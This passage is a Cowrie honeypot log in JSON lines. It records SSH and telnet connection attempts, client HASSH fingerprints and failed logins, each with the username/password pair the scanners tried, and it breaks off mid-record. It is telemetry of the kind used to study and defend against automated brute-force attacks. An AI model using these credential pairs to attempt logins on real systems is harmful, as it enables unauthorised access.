{"eventid":"cowrie.login.failed","username":"root","password":"blahblah","message":"login attempt [root/blahblah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:48.960094Z","src_ip":"171.244.143.209","session":"1753ecfeb92b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:50.215608Z","src_ip":"171.244.143.209","session":"1753ecfeb92b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":44746,"dst_ip":"159.203.135.109","dst_port":23,"session":"c049f0d018aa","protocol":"telnet","message":"New connection: 138.197.5.236:44746 (159.203.135.109:23) [session: c049f0d018aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:54.383366Z"}
{"eventid":"cowrie.session.closed","duration":30.4589741230011,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:55.133286Z","src_ip":"62.77.140.101","session":"66be91d07e05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844192266464233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:03.240427Z","src_ip":"62.77.140.101","session":"95df1bd2ad07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45546,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4559a0becf8","protocol":"ssh","message":"New connection: 159.203.92.129:45546 (159.203.135.109:22) [session: b4559a0becf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:05.399570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:05.405064Z","src_ip":"159.203.92.129","session":"b4559a0becf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:05.409809Z","src_ip":"159.203.92.129","session":"b4559a0becf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"1qaz2wsx","message":"login attempt [alias/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:05.423039Z","src_ip":"159.203.92.129","session":"b4559a0becf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:06.429561Z","src_ip":"159.203.92.129","session":"b4559a0becf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.928189992904663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:14.243106Z","src_ip":"62.77.140.101","session":"c638ae4d64b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":6325,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae97a6282709","protocol":"ssh","message":"New connection: 119.195.89.96:6325 (159.203.135.109:22) [session: ae97a6282709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:15.889855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:15.895629Z","src_ip":"119.195.89.96","session":"ae97a6282709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:16.098247Z","src_ip":"119.195.89.96","session":"ae97a6282709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"12345678","message":"login attempt [user01/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:16.900626Z","src_ip":"119.195.89.96","session":"ae97a6282709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:18.096926Z","src_ip":"119.195.89.96","session":"ae97a6282709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.938714027404785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:25.321950Z","src_ip":"138.197.5.236","session":"c049f0d018aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":33198,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a981aa2b697","protocol":"ssh","message":"New connection: 124.13.124.212:33198 (159.203.135.109:22) [session: 9a981aa2b697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:29.094416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:29.099207Z","src_ip":"124.13.124.212","session":"9a981aa2b697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:29.342475Z","src_ip":"124.13.124.212","session":"9a981aa2b697","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qw12QW!@","message":"login attempt [ubuntu/qw12QW!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:30.366229Z","src_ip":"124.13.124.212","session":"9a981aa2b697","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:31.618207Z","src_ip":"124.13.124.212","session":"9a981aa2b697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46066,"dst_ip":"159.203.135.109","dst_port":22,"session":"dad4c4c87a87","protocol":"ssh","message":"New connection: 159.203.92.129:46066 (159.203.135.109:22) [session: dad4c4c87a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:47.727288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:47.732090Z","src_ip":"159.203.92.129","session":"dad4c4c87a87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:47.736655Z","src_ip":"159.203.92.129","session":"dad4c4c87a87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"456123","message":"login attempt [alias/456123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:47.750992Z","src_ip":"159.203.92.129","session":"dad4c4c87a87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:48.760601Z","src_ip":"159.203.92.129","session":"dad4c4c87a87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":41946,"dst_ip":"10.17.0.5","dst_port":22,"session":"c26dc186f74c","protocol":"ssh","message":"New connection: 171.244.143.209:41946 (10.17.0.5:22) [session: c26dc186f74c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:51.129061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:51.134078Z","src_ip":"171.244.143.209","session":"c26dc186f74c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:51.374171Z","src_ip":"171.244.143.209","session":"c26dc186f74c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev2","password":"dev2","message":"login attempt [dev2/dev2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:52.420941Z","src_ip":"171.244.143.209","session":"c26dc186f74c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:12:53.668231Z","src_ip":"171.244.143.209","session":"c26dc186f74c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":13281,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a6bd0e97d53","protocol":"ssh","message":"New connection: 119.195.89.96:13281 (159.203.135.109:22) [session: 2a6bd0e97d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:12.971338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:12.976272Z","src_ip":"119.195.89.96","session":"2a6bd0e97d53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:13.173188Z","src_ip":"119.195.89.96","session":"2a6bd0e97d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r5T","message":"login attempt [ubuntu/1q2w3e4r5T] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:13.993057Z","src_ip":"119.195.89.96","session":"2a6bd0e97d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:15.191969Z","src_ip":"119.195.89.96","session":"2a6bd0e97d53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":56698,"dst_ip":"10.17.0.5","dst_port":22,"session":"97871d8d68dc","protocol":"ssh","message":"New connection: 194.59.206.2:56698 (10.17.0.5:22) [session: 97871d8d68dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:17.758151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:17.789866Z","src_ip":"194.59.206.2","session":"97871d8d68dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:17.849648Z","src_ip":"194.59.206.2","session":"97871d8d68dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:18.025325Z","src_ip":"194.59.206.2","session":"97871d8d68dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":50714,"dst_ip":"159.203.135.109","dst_port":22,"session":"22eab6eb1978","protocol":"ssh","message":"New connection: 124.13.124.212:50714 (159.203.135.109:22) [session: 22eab6eb1978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:25.310726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:25.317088Z","src_ip":"124.13.124.212","session":"22eab6eb1978","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-ni